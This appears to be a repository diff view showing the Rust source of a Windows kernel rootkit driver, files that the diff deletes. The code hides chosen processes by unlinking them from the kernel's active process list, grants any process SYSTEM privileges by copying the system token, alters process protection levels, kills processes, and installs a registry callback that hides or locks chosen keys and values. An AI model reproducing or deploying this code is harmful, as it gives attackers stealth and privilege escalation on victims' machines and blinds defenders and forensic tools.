pub fn new(pid: usize) -> Result<Self, ShadowError> {
let mut process = core::ptr::null_mut();
let status = unsafe { PsLookupProcessByProcessId(pid as _, &mut process) };
if NT_SUCCESS(status) {
Ok(Self { e_process: process })
} else {
Err(ShadowError::ApiCallFailed("PsLookupProcessByProcessId", status))
}
}
}
/// Implements the `Drop` trait for the `Process` structure to handle cleanup when the structure goes out of scope.
///
/// The `Drop` implementation ensures that the reference count on the `EPROCESS` structure
/// is properly decremented when the `Process` instance is dropped. This prevents resource leaks.
impl Drop for Process {
/// Cleans up the resources held by the `Process` structure.
///
/// This method decrements the reference count of the `EPROCESS` structure when the
/// `Process` instance is dropped, ensuring proper cleanup.
fn drop(&mut self) {
if !self.e_process.is_null() {
unsafe { ObfDereferenceObject(self.e_process as _) };
}
}
}
/// List of target processes protected by a mutex.
pub static PROCESS_INFO_HIDE: Lazy<Mutex<Vec<TargetProcess>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PID)));
/// This implementation focuses on the hiding and unhiding of processes.
impl Process {
/// Hides a process by removing it from the active process list in the operating system.
///
/// This method hides a process by unlinking it from the active process list (`LIST_ENTRY`)
/// in the OS. It uses synchronization locks to ensure thread safety while modifying the
/// list. Once the process is hidden, it is no longer visible in the system's active process chain.
///
/// # Arguments
///
/// * `pid` - The process identifier (PID) of the target process to be hidden.
///
/// # Returns
///
/// * `Ok(LIST_ENTRY)` - Returns the previous `LIST_ENTRY` containing the pointers to the neighboring processes
/// in the list before it was modified.
/// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue.
pub unsafe fn hide_process(pid: usize) -> Result<LIST_ENTRY, ShadowError> {
// Getting offsets based on the Windows build number
let active_process_link = get_active_process_link_offset();
let offset_lock = get_process_lock();
// Retrieve the EPROCESS structure for the target process
let process = Self::new(pid)?;
// Retrieve the `LIST_ENTRY` for the active process link, which connects the process
// to the list of active processes in the system.
let current = process.e_process.cast::<u8>().offset(active_process_link) as PLIST_ENTRY;
let push_lock = process.e_process.cast::<u8>().offset(offset_lock) as *mut u64;
// Use synchronization to ensure thread safety while modifying the list
with_push_lock_exclusive(push_lock, || {
// The next process in the chain
let next = (*current).Flink;
// The previous process in the chain
let previous = (*current).Blink;
// Storing the previous list entry, which will be returned
let previous_link = LIST_ENTRY {
Flink: next as *mut LIST_ENTRY,
Blink: previous as *mut LIST_ENTRY,
};
// Unlink the process from the active list
(*next).Blink = previous;
(*previous).Flink = next;
// Make the current list entry point to itself to hide the process
(*current).Flink = current;
(*current).Blink = current;
Ok(previous_link)
})
}
/// Unhides a process by restoring it to the active process list in the operating system.
///
/// This method restores a previously hidden process back into the active process list by re-linking
/// its `LIST_ENTRY` pointers (`Flink` and `Blink`) to the adjacent processes in the list. The function
/// uses synchronization locks to ensure thread safety while modifying the list.
///
/// # Arguments
///
/// * `pid` - The process identifier (PID) of the target process to be unhidden.
/// * `list_entry` - A pointer to the previous `LIST_ENTRY`, containing the neighboring processes in the list,
/// which was saved when the process was hidden.
///
/// # Returns
///
/// * `Ok(NTSTATUS)` - Indicates the process was successfully restored to the active list.
/// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue.
pub unsafe fn unhide_process(pid: usize, list_entry: PLIST_ENTRY) -> Result<NTSTATUS, ShadowError> {
// Getting offsets based on the Windows build number
let active_process_link = get_active_process_link_offset();
let offset_lock = get_process_lock();
// Retrieve the EPROCESS structure for the target process
let process = Self::new(pid)?;
// Retrieve the `LIST_ENTRY` for the active process link, which connects the process
// to the list of active processes in the system.
let current = process.e_process.cast::<u8>().offset(active_process_link) as PLIST_ENTRY;
let push_lock = process.e_process.cast::<u8>().offset(offset_lock) as *mut u64;
// Use synchronization to ensure thread safety while modifying the list
with_push_lock_exclusive(push_lock, || {
// Restore the `Flink` and `Blink` from the saved `list_entry`
(*current).Flink = (*list_entry).Flink as *mut _LIST_ENTRY;
(*current).Blink = (*list_entry).Blink as *mut _LIST_ENTRY;
// Re-link the process to the neighboring processes in the chain
let next = (*current).Flink;
let previous = (*current).Blink;
(*next).Blink = current;
(*previous).Flink = current;
});
Ok(STATUS_SUCCESS)
}
/// Enumerates all currently hidden processes.
///
/// This function iterates through the list of hidden processes stored in `PROCESS_INFO_HIDE` and returns
/// a vector containing their information.
///
/// # Returns
///
/// * A vector containing the information of all hidden processes.
pub unsafe fn enumerate_hide_processes() -> Vec<TargetProcess> {
let mut processes: Vec<TargetProcess> = Vec::new();
let process_info = PROCESS_INFO_HIDE.lock();
for i in process_info.iter() {
processes.push(TargetProcess {
pid: (*i).pid as usize,
..Default::default()
});
}
processes
}
}
/// This implementation focuses on finishing the process, changing the PPL and elevating the process.
impl Process {
// System process (By default the PID is 4)
const SYSTEM_PROCESS: usize = 4;
/// Elevates a process by setting its token to the system process token.
///
/// This function raises the token of a process identified by its PID (Process ID)
/// to the token of the system process, effectively elevating the privileges of the target process
/// to those of the system (NT AUTHORITY\SYSTEM).
///
/// # Arguments
///
/// * `pid` - The process identifier (PID) of the target process to elevate.
///
/// # Returns
///
/// * `Ok(NTSTATUS)` - Indicates that the token was successfully elevated.
/// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue.
pub unsafe fn elevate_process(pid: usize) -> Result<NTSTATUS, ShadowError> {
// Get the offset for the token in the EPROCESS structure
let offset = get_token_offset();
// Retrieving EPROCESS from the target process
let target = Self::new(pid)?;
// Retrieve the EPROCESS for the system process (PID 4)
let system = Self::new(Self::SYSTEM_PROCESS)?;
// Access the Token field in the EPROCESS structure of both the target and system processes
let target_token_ptr = target.e_process.cast::<u8>().offset(offset) as *mut u64;
let system_token_ptr = system.e_process.cast::<u8>().offset(offset) as *mut u64;
// Copy the system process token to the target process
target_token_ptr.write(system_token_ptr.read());
Ok(STATUS_SUCCESS)
}
/// Modifies the protection signature (PP / PPL) of a process in the operating system.
///
/// This method changes the protection signature of a process by adjusting the `SignatureLevel` and `Protection` fields
/// in the `EPROCESS` structure. A process can be protected from certain operations, such as termination or privilege escalation,
/// depending on the signature level and protection type that are set.
///
/// # Arguments
///
/// * `pid` - The process identifier (PID) of the target process whose protection signature will be modified.
/// * `sg` - The signature level (signer) to be set for the process.
/// * `pt` - The protection type to be applied to the process.
///
/// # Returns
///
/// * `Ok(NTSTATUS)` - Returns if the signature and protection levels were successfully updated.
/// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue.
pub unsafe fn protection_signature(pid: usize, sg: usize, tp: usize) -> Result<NTSTATUS, ShadowError> {
// Get the offset for the protection signature within the EPROCESS structure
let offset = get_signature_offset();
// Retrieve the EPROCESS structure for the target process
let process = Self::new(pid)?;
// Create the new protection signature value by combining the signature level and protection type
let new_sign = (sg << 4) | tp;
let process_signature = process.e_process.cast::<u8>().offset(offset) as *mut PROCESS_SIGNATURE;
// Modify the signature level and protection type of the target process
(*process_signature).SignatureLevel = new_sign as u8;
(*process_signature).Protection.SetType(tp as u8);
(*process_signature).Protection.SetSigner(sg as u8);
Ok(STATUS_SUCCESS)
}
/// Terminates a process in the operating system using its process identifier (PID).
///
/// This method terminates a process by first opening a handle to the target process,
/// and then calling `ZwTerminateProcess` to end the process.
///
/// # Arguments
///
/// * `pid` - The process identifier (PID) of the process to be terminated.
///
/// # Returns
///
/// * `Ok(NTSTATUS)` - Returns if the process was successfully terminated.
/// * `Err(ShadowError)` - Returns an error if any step (opening, terminating, or closing the process) fails.
pub unsafe fn terminate_process(pid: usize) -> Result<NTSTATUS, ShadowError> {
let mut h_process: HANDLE = core::ptr::null_mut();
let mut object_attributes: OBJECT_ATTRIBUTES = core::mem::zeroed();
let mut client_id = CLIENT_ID {
UniqueProcess: pid as _,
UniqueThread: core::ptr::null_mut(),
};
// Open a handle to the target process with all access rights
let mut status = ZwOpenProcess(
&mut h_process,
PROCESS_ALL_ACCESS,
&mut object_attributes,
&mut client_id,
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status));
}
// Terminate the process with an exit code of 0
status = ZwTerminateProcess(h_process, 0);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwTerminateProcess", status));
}
// Close the handle to the process
status = ZwClose(h_process);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwClose", status));
}
Ok(STATUS_SUCCESS)
}
}

View File

@@ -1,413 +0,0 @@
#![allow(non_upper_case_globals)]
use {
log::error,
alloc::{format, string::String},
core::{ffi::c_void, ptr::null_mut},
wdk_sys::{
*,
_MODE::KernelMode,
ntddk::{
CmCallbackGetKeyObjectIDEx,
ObOpenObjectByPointer, ZwClose,
CmCallbackReleaseKeyObjectIDEx,
},
_REG_NOTIFY_CLASS::{
RegNtPreQueryKey, RegNtPreSetValueKey,
RegNtPreDeleteKey, RegNtPreDeleteValueKey,
RegNtPostEnumerateKey, RegNtPostEnumerateValueKey,
},
},
};
use {
super::{
HIDE_KEYS, HIDE_KEY_VALUES,
PROTECTION_KEYS, PROTECTION_KEY_VALUES,
utils::{
RegistryInfo,
check_key_value,
enumerate_value_key,
},
},
crate::{
utils::{pool::PoolMemory, valid_kernel_memory},
registry::{
Registry,
utils::{check_key, enumerate_key},
},
},
};
/// Handle for Registry Callback.
pub static mut CALLBACK_REGISTRY: LARGE_INTEGER = unsafe { core::mem::zeroed() };
/// The registry callback function handles registry-related operations based on the notification class.
///
/// # Arguments
///
/// * `_callback_context` - A pointer to the callback context, usually not used.
/// * `argument1` - A pointer to the notification class.
/// * `argument2` - A pointer to the information related to the registry operation.
///
/// # Returns
///
/// * A status code indicating the result of the operation.
pub unsafe extern "C" fn registry_callback(
_callback_context: *mut c_void,
argument1: *mut c_void,
argument2: *mut c_void,
) -> NTSTATUS {
let status;
let reg_notify_class = argument1 as i32;
match reg_notify_class {
RegNtPreSetValueKey => {
status = pre_set_value_key(argument2 as *mut REG_SET_VALUE_KEY_INFORMATION);
},
RegNtPreDeleteValueKey => {
status = pre_delete_value_key(argument2 as *mut REG_DELETE_VALUE_KEY_INFORMATION);
},
RegNtPreDeleteKey => {
status = pre_delete_key(argument2 as *mut REG_DELETE_KEY_INFORMATION);
},
RegNtPreQueryKey => {
status = pre_query_key(argument2 as *mut REG_QUERY_KEY_INFORMATION);
},
RegNtPostEnumerateKey => {
status = post_enumerate_key(argument2 as *mut REG_POST_OPERATION_INFORMATION);
},
RegNtPostEnumerateValueKey => {
status = post_enumerate_key_value(argument2 as *mut REG_POST_OPERATION_INFORMATION);
}
_ => return STATUS_SUCCESS,
}
status
}
/// Handles the pre-delete key operation.
///
/// # Arguments
///
/// * `info` - A pointer to `REG_DELETE_KEY_INFORMATION`.
///
/// # Returns
///
/// * A status code indicating success or failure.
unsafe fn pre_delete_key(info: *mut REG_DELETE_KEY_INFORMATION) -> NTSTATUS {
let status;
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
return STATUS_SUCCESS;
}
let key = match read_key(info) {
Ok(key) => key,
Err(err) => return err
};
status = if Registry::check_key(key, PROTECTION_KEYS.lock()) {
STATUS_ACCESS_DENIED
} else {
STATUS_SUCCESS
};
status
}
/// Performs the post-operation to enumerate registry key values.
///
/// # Arguments
///
/// * `info` - Pointer to the information structure of the post-execution logging operation.
///
/// # Returns
///
/// * Returns the status of the operation. If the key value is found and handled correctly, returns `STATUS_SUCCESS`.
unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS {
if !NT_SUCCESS((*info).Status) {
return (*info).Status
}
let key = match read_key(info) {
Ok(key) => key,
Err(err) => return err
};
if !check_key_value(info, key.clone()) {
return STATUS_SUCCESS
}
let pre_info = match ((*info).PreInformation as *mut REG_ENUMERATE_VALUE_KEY_INFORMATION).as_ref() {
Some(pre_info) => pre_info,
None => return STATUS_SUCCESS,
};
let mut key_handle = null_mut();
let status = ObOpenObjectByPointer(
(*info).Object,
OBJ_KERNEL_HANDLE,
null_mut(),
KEY_ALL_ACCESS,
*CmKeyObjectType,
KernelMode as i8,
&mut key_handle
);
if !NT_SUCCESS(status) {
error!("ObOpenObjectByPointer Failed With Status: {status}");
return STATUS_SUCCESS;
}
let buffer = match PoolMemory::new(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) {
Some(mem) => mem.ptr as *mut u8,
None => {
error!("PoolMemory (Enumerate Key) Failed");
ZwClose(key_handle);
return STATUS_SUCCESS;
}
};
let mut result_length = 0;
let mut counter = 0;
while let Some(value_name) = enumerate_value_key(
key_handle,
pre_info.Index + counter,
buffer,
(*pre_info).Length,
(*pre_info).KeyValueInformationClass,
&mut result_length
) {
if !Registry::check_target(key.clone(), value_name.clone(), HIDE_KEY_VALUES.lock()) {
if let Some(pre_info_key_info) = (pre_info.KeyValueInformation as *mut c_void).as_mut() {
*(*pre_info).ResultLength = result_length;
core::ptr::copy_nonoverlapping(buffer, pre_info_key_info as *mut _ as *mut u8, result_length as usize);
break;
} else {
error!("Failed to copy key information.");
break;
}
} else {
counter += 1;
}
}
ZwClose(key_handle);
STATUS_SUCCESS
}
/// Performs the post-operation to enumerate registry keys.
///
/// # Arguments
///
/// * `info` - Pointer to the information structure of the post-execution logging operation.
///
/// # Returns
///
/// * Returns the status of the operation, keeping the original status if the previous operation failed.
unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS {
if !NT_SUCCESS((*info).Status) {
return (*info).Status
}
let key = match read_key(info) {
Ok(key) => key,
Err(err) => return err
};
if !check_key(info, key.clone()) {
return STATUS_SUCCESS
}
let pre_info = match ((*info).PreInformation as *mut REG_ENUMERATE_KEY_INFORMATION).as_ref() {
Some(pre_info) => pre_info,
None => return STATUS_SUCCESS,
};
let mut key_handle = null_mut();
let status = ObOpenObjectByPointer(
(*info).Object,
OBJ_KERNEL_HANDLE,
null_mut(),
KEY_ALL_ACCESS,
*CmKeyObjectType,
KernelMode as i8,
&mut key_handle
);
if !NT_SUCCESS(status) {
error!("ObOpenObjectByPointer Failed With Status: {status}");
return STATUS_SUCCESS;
}
let buffer = match PoolMemory::new(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) {
Some(mem) => mem.ptr as *mut u8,
None => {
error!("PoolMemory (Enumerate Key) Failed");
ZwClose(key_handle);
return STATUS_SUCCESS;
}
};
let mut result_length = 0;
let mut counter = 0;
while let Some(key_name) = enumerate_key(
key_handle,
pre_info.Index + counter,
buffer,
(*pre_info).Length,
(*pre_info).KeyInformationClass,
&mut result_length
) {
if !Registry::check_key(format!("{key}\\{key_name}"), HIDE_KEYS.lock()) {
if let Some(pre_info_key_info) = (pre_info.KeyInformation as *mut c_void).as_mut() {
*(*pre_info).ResultLength = result_length;
core::ptr::copy_nonoverlapping(buffer, pre_info_key_info as *mut _ as *mut u8, result_length as usize);
break;
} else {
error!("Failed to copy key information.");
break;
}
} else {
counter += 1;
}
}
ZwClose(key_handle);
STATUS_SUCCESS
}
/// Handles the pre-query key operation.
///
/// # Arguments
///
/// * `info` - A pointer to `REG_QUERY_KEY_INFORMATION`.
///
/// # Returns
///
/// * A status code indicating success or failure.
unsafe fn pre_query_key(info: *mut REG_QUERY_KEY_INFORMATION) -> NTSTATUS {
let status;
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
return STATUS_SUCCESS;
}
let key = match read_key(info) {
Ok(key) => key,
Err(err) => return err
};
status = if Registry::check_key(key.clone(), HIDE_KEYS.lock()) {
STATUS_SUCCESS
} else {
STATUS_SUCCESS
};
status
}
/// Handles the pre-delete value key operation.
///
/// # Arguments
///
/// * `info` - A pointer to `REG_DELETE_VALUE_KEY_INFORMATION`.
///
/// # Returns
///
/// * A status code indicating success or failure.
unsafe fn pre_delete_value_key(info: *mut REG_DELETE_VALUE_KEY_INFORMATION) -> NTSTATUS {
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
return STATUS_SUCCESS;
}
let key = match read_key(info) {
Ok(key) => key,
Err(err) => return err
};
let value_name = (*info).ValueName;
if (*info).ValueName.is_null() || (*value_name).Buffer.is_null() || (*value_name).Length == 0 || !valid_kernel_memory((*value_name).Buffer as u64) {
return STATUS_SUCCESS;
}
let buffer = core::slice::from_raw_parts((*value_name).Buffer, ((*value_name).Length / 2) as usize);
let name = String::from_utf16_lossy(buffer);
if Registry::<(String, String)>::check_target(key.clone(), name.clone(), PROTECTION_KEY_VALUES.lock()) {
STATUS_ACCESS_DENIED
} else {
STATUS_SUCCESS
}
}
/// Handles the pre-set value key operation.
///
/// # Arguments
///
/// * `info` - A pointer to `REG_SET_VALUE_KEY_INFORMATION`.
///
/// # Returns
///
/// * A status code indicating success or failure.
unsafe fn pre_set_value_key(info: *mut REG_SET_VALUE_KEY_INFORMATION) -> NTSTATUS {
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
return STATUS_SUCCESS;
}
let key = match read_key(info) {
Ok(key) => key,
Err(err) => return err
};
let value_name = (*info).ValueName;
if (*info).ValueName.is_null() || (*value_name).Buffer.is_null() || (*value_name).Length == 0 || !valid_kernel_memory((*value_name).Buffer as u64) {
return STATUS_SUCCESS;
}
let buffer = core::slice::from_raw_parts((*value_name).Buffer,((*value_name).Length / 2) as usize);
let name = String::from_utf16_lossy(buffer);
if Registry::check_target(key.clone(), name.clone(), PROTECTION_KEY_VALUES.lock()) {
STATUS_ACCESS_DENIED
} else {
STATUS_SUCCESS
}
}
/// Reads the key name from the registry information.
///
/// # Arguments
///
/// * `info` - A pointer to the registry information.
///
/// # Returns
///
/// * `Ok(String)` - The key name.
/// * `Err(NTSTATUS)` - error status.
unsafe fn read_key<T: RegistryInfo>(info: *mut T) -> Result<String, NTSTATUS> {
let mut reg_path: PCUNICODE_STRING = core::ptr::null_mut();
let status = CmCallbackGetKeyObjectIDEx(
core::ptr::addr_of_mut!(CALLBACK_REGISTRY),
(*info).get_object(),
null_mut(),
&mut reg_path,
0
);
if !NT_SUCCESS(status) {
return Err(STATUS_SUCCESS)
}
if reg_path.is_null() || (*reg_path).Buffer.is_null() || (*reg_path).Length == 0 || !valid_kernel_memory((*reg_path).Buffer as u64) {
CmCallbackReleaseKeyObjectIDEx(reg_path);
return Err(STATUS_SUCCESS);
}
let buffer = core::slice::from_raw_parts((*reg_path).Buffer, ((*reg_path).Length / 2) as usize);
let name = String::from_utf16_lossy(buffer);
CmCallbackReleaseKeyObjectIDEx(reg_path);
Ok(name)
}

View File

@@ -1,265 +0,0 @@
use {
utils::Type,
core::marker::PhantomData,
common::structs::TargetRegistry,
spin::{
lazy::Lazy,
Mutex, MutexGuard
},
alloc::{
vec::Vec,
string::{String, ToString}
},
wdk_sys::{
NTSTATUS, STATUS_DUPLICATE_OBJECTID,
STATUS_SUCCESS, STATUS_UNSUCCESSFUL
}
};
pub mod callback;
pub mod utils;
const MAX_REGISTRY: usize = 100;
/// List of protection key-value pairs.
///
/// This list stores key-value pairs that are protected.
/// It is guarded by a mutex to ensure thread-safe access.
pub static PROTECTION_KEY_VALUES: Lazy<Mutex<Vec<(String, String)>>> = Lazy::new(||
Mutex::new(Vec::with_capacity(MAX_REGISTRY))
);
/// List of protection keys.
///
/// This list stores keys that are protected. It is guarded by a mutex to ensure thread-safe access.
static PROTECTION_KEYS: Lazy<Mutex<Vec<String>>> = Lazy::new(||
Mutex::new(Vec::with_capacity(MAX_REGISTRY))
);
/// List of hidden keys.
///
/// This list stores keys that have been hidden. It is protected by a mutex for thread-safe operations.
static HIDE_KEYS: Lazy<Mutex<Vec<String>>> = Lazy::new(||
Mutex::new(Vec::with_capacity(MAX_REGISTRY))
);
/// List of hidden key-value pairs.
///
/// This list stores key-value pairs that have been hidden. It is protected by a mutex for thread-safe operations.
static HIDE_KEY_VALUES: Lazy<Mutex<Vec<(String, String)>>> = Lazy::new(||
Mutex::new(Vec::with_capacity(MAX_REGISTRY))
);
/// Trait defining common operations for registry lists.
///
/// This trait provides methods for adding, removing, and checking items in registry lists.
trait RegistryList<T> {
/// Adds an item to the registry list.
///
/// # Arguments
///
/// * `list` - A mutable reference to the list.
/// * `item` - The item to be added.
///
/// # Returns
///
/// * Status code indicating success (`STATUS_SUCCESS`), duplicate (`STATUS_DUPLICATE_OBJECTID`),
/// or failure (`STATUS_UNSUCCESSFUL`).
fn add_item(list: &mut Vec<T>, item: T) -> NTSTATUS;
/// Removes an item from the registry list.
///
/// # Arguments
///
/// * `list` - A mutable reference to the list.
/// * `item` - The item to be removed.
///
/// # Returns
///
/// * Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`).
fn remove_item(list: &mut Vec<T>, item: &T) -> NTSTATUS;
/// Checks if an item is in the registry list.
///
/// # Arguments
///
/// * `list` - A reference to the list.
/// * `item` - The item to be checked.
///
/// # Returns
///
/// * Returns `true` if the item is in the list, `false` otherwise.
fn contains_item(list: &Vec<T>, item: &T) -> bool;
}
/// Implementation of `RegistryList` for key-value pairs.
impl RegistryList<(String, String)> for Vec<(String, String)> {
fn add_item(list: &mut Vec<(String, String)>, item: (String, String)) -> NTSTATUS {
if list.len() >= MAX_REGISTRY {
return STATUS_UNSUCCESSFUL;
}
if list.iter().any(|(k, v)| k == &item.0 && v == &item.1) {
return STATUS_DUPLICATE_OBJECTID;
}
list.push(item);
STATUS_SUCCESS
}
fn remove_item(list: &mut Vec<(String, String)>, item: &(String, String)) -> NTSTATUS {
if let Some(index) = list.iter().position(|(k, v)| k == &item.0 && v == &item.1) {
list.remove(index);
STATUS_SUCCESS
} else {
STATUS_UNSUCCESSFUL
}
}
fn contains_item(list: &Vec<(String, String)>, item: &(String, String)) -> bool {
list.contains(item)
}
}
/// Implementation of `RegistryList` for strings.
impl RegistryList<String> for Vec<String> {
fn add_item(list: &mut Vec<String>, item: String) -> NTSTATUS {
if list.len() >= MAX_REGISTRY {
return STATUS_UNSUCCESSFUL;
}
if list.contains(&item) {
return STATUS_DUPLICATE_OBJECTID;
}
list.push(item);
STATUS_SUCCESS
}
fn remove_item(list: &mut Vec<String>, item: &String) -> NTSTATUS {
if let Some(index) = list.iter().position(|k| k == item) {
list.remove(index);
STATUS_SUCCESS
} else {
STATUS_UNSUCCESSFUL
}
}
fn contains_item(list: &Vec<String>, item: &String) -> bool {
list.contains(item)
}
}
/// Structure representing registry operations.
///
/// The `Registry<T>` structure handles operations for adding, removing, and checking keys or key-value pairs
/// in the registry.
pub struct Registry<T> {
_marker: PhantomData<T>,
}
impl Registry<(String, String)> {
/// Adds or removes a key-value pair from the list of protected or hidden values.
///
/// # Arguments
///
/// * `target` - A pointer to a `TargetRegistry` structure representing the key-value pair.
/// * `type_` - An enum indicating whether to protect or hide the key-value pair.
///
/// # Returns
///
/// * Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`).
pub fn modify_key_value(target: *mut TargetRegistry, type_: Type) -> NTSTATUS {
let key = unsafe { (*target).key.clone() };
let value = unsafe { (*target).value.clone() };
let enable = unsafe { (*target).enable };
let status = match type_ {
Type::Protect => {
let mut list = PROTECTION_KEY_VALUES.lock();
if enable {
Vec::<(String, String)>::add_item(&mut list, (key, value))
} else {
Vec::<(String, String)>::remove_item(&mut list, &(key, value))
}
}
Type::Hide => {
let mut list = HIDE_KEY_VALUES.lock();
if enable {
Vec::<(String, String)>::add_item(&mut list, (key, value))
} else {
Vec::<(String, String)>::remove_item(&mut list, &(key, value))
}
}
};
status
}
/// Checks if a key-value pair exists in the list of protected values.
///
/// # Arguments
///
/// * `key` - The key to check.
/// * `value` - The value to check.
/// * `list` - A guard that provides access to the list.
///
/// # Returns
///
/// * Returns `true` if the key-value pair exists in the list, or `false` otherwise.
pub fn check_target(key: String, value: String, list: MutexGuard<Vec<(String, String)>>) -> bool {
Vec::<(String, String)>::contains_item(&list, &(key, value))
}
}
impl Registry<String> {
/// Adds or removes a key from the list of protected or hidden keys.
///
/// # Arguments
///
/// * `target` - A pointer to a `TargetRegistry` structure representing the key.
/// * `list_type` - An enum indicating whether to protect or hide the key.
///
/// # Returns
///
/// * Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`).
pub fn modify_key(target: *mut TargetRegistry, list_type: Type) -> NTSTATUS {
let key = unsafe { &(*target).key }.to_string();
let enable = unsafe { (*target).enable };
let status = match list_type {
Type::Protect => {
let mut list = PROTECTION_KEYS.lock();
if enable {
Vec::add_item(&mut list, key)
} else {
Vec::remove_item(&mut list, &key)
}
}
Type::Hide => {
let mut list = HIDE_KEYS.lock();
if enable {
Vec::add_item(&mut list, key)
} else {
Vec::remove_item(&mut list, &key)
}
}
};
status
}
/// Checks if a key exists in the list of protected keys.
///
/// # Arguments
///
/// * `key` - The key to check.
/// * `list` - A guard that provides access to the list.
///
/// # Returns
///
/// * Returns `true` if the key exists in the list, or `false` otherwise.
pub fn check_key(key: String, list: MutexGuard<Vec<String>>) -> bool {
Vec::contains_item(&list, &key)
}
}

View File

@@ -1,300 +0,0 @@
#![allow(non_upper_case_globals)]
use {
log::error,
alloc::{format, string::String},
core::{
slice::from_raw_parts,
ffi::c_void, mem::size_of,
},
wdk_sys::{
*,
ntddk::{ZwEnumerateKey, ZwEnumerateValueKey},
_KEY_INFORMATION_CLASS::{
KeyBasicInformation,
KeyNameInformation
},
_KEY_VALUE_INFORMATION_CLASS::{
KeyValueFullInformationAlign64,
KeyValueBasicInformation,
KeyValueFullInformation,
},
},
};
use super::{Registry, HIDE_KEYS, HIDE_KEY_VALUES};
/// Checks if a specified registry key is present in the list of hidden keys.
///
/// This function checks if the provided registry key exists among the list of hidden keys, using
/// the information from the registry operation.
///
/// # Arguments
///
/// * `info` - Pointer to the operation information structure containing registry details.
/// * `key` - The name of the registry key to be checked.
///
/// # Returns
///
/// * Returns `true` if the key is found in the hidden keys list, otherwise returns `false`.
pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool {
// Extracting pre-information from the registry operation
let info_class = (*info).PreInformation as *mut REG_ENUMERATE_KEY_INFORMATION;
match (*info_class).KeyInformationClass {
// Check for basic key information
KeyBasicInformation => {
let basic_information = (*info_class).KeyInformation as *mut KEY_BASIC_INFORMATION;
let name = from_raw_parts((*basic_information).Name.as_ptr(),
((*basic_information).NameLength / size_of::<u16>() as u32) as usize);
// Construct the full key path
let key = format!("{key}\\{}", String::from_utf16_lossy(name));
if Registry::check_key(key.clone(), HIDE_KEYS.lock()) {
return true;
}
},
// Check for key name information
KeyNameInformation => {
let basic_information = (*info_class).KeyInformation as *mut KEY_NAME_INFORMATION;
let name = from_raw_parts((*basic_information).Name.as_ptr(),
((*basic_information).NameLength / size_of::<u16>() as u32) as usize);
// Construct the full key path
let key = format!("{key}\\{}", String::from_utf16_lossy(name));
if Registry::check_key(key.clone(), HIDE_KEYS.lock()) {
return true;
}
},
_ => {}
}
false
}
/// Checks if a specified registry key-value pair is present in the list of hidden key-values.
///
/// This function checks if the provided registry key-value pair exists among the list of hidden key-values,
/// using information from the registry value operation.
///
/// # Arguments
///
/// * `info` - Pointer to the operation information structure containing registry value details.
/// * `key` - The name of the registry key associated with the value to be checked.
///
/// # Returns
///
/// * Returns `true` if the key-value pair is found in the hidden key-values list, otherwise returns `false`.
pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool {
// Extracting pre-information from the registry operation
let info_class = (*info).PreInformation as *const REG_ENUMERATE_VALUE_KEY_INFORMATION;
match (*info_class).KeyValueInformationClass {
// Check for basic key value information
KeyValueBasicInformation => {
let value = (*info_class).KeyValueInformation as *const KEY_VALUE_BASIC_INFORMATION;
let name = from_raw_parts((*value).Name.as_ptr(),
((*value).NameLength / size_of::<u16>() as u32) as usize);
let value = String::from_utf16_lossy(name);
if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) {
return true;
}
},
// Check for full key value information
KeyValueFullInformationAlign64 | KeyValueFullInformation => {
let value = (*info_class).KeyValueInformation as *const KEY_VALUE_FULL_INFORMATION;
let name = from_raw_parts((*value).Name.as_ptr(),
((*value).NameLength / size_of::<u16>() as u32) as usize);
let value = String::from_utf16_lossy(name);
if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) {
return true;
}
},
_ => {}
}
false
}
/// Enumerates the specified registry key and retrieves its name.
///
/// This function enumerates the registry key based on the provided index and information class,
/// returning the key name in the desired format.
///
/// # Arguments
///
/// * `key_handle` - Handle of the target registry key.
/// * `index` - The index to be enumerated.
/// * `buffer` - Buffer that will store the registry key information.
/// * `buffer_size` - Size of the buffer.
/// * `key_information` - Type of information to retrieve about the target registry key.
/// * `result_length` - Pointer to store the size of the result.
///
/// # Returns
///
/// * Returns `Some(String)` containing the name of the registry key if successful,
/// otherwise returns `None`.
pub unsafe fn enumerate_key(
key_handle: HANDLE,
index: u32,
buffer: *mut u8,
buffer_size: u32,
key_information: KEY_INFORMATION_CLASS,
result_length: &mut u32
) -> Option<String> {
// Enumerate the registry key using ZwEnumerateKey
let status = ZwEnumerateKey(
key_handle,
index,
key_information,
buffer as *mut c_void,
buffer_size,
result_length,
);
// Check if there are no more entries
if status == STATUS_NO_MORE_ENTRIES {
return None;
}
// Check if the operation was successful
if !NT_SUCCESS(status) {
error!("ZwEnumerateKey Failed With Status: {status}");
return None;
}
// Process the key information based on the specified class
match key_information {
KeyBasicInformation => {
let basic_information = &*(buffer as *const KEY_BASIC_INFORMATION);
let name = from_raw_parts(
(*basic_information).Name.as_ptr(),
((*basic_information).NameLength / size_of::<u16>() as u32) as usize,
);
Some(String::from_utf16_lossy(name))
},
KeyNameInformation => {
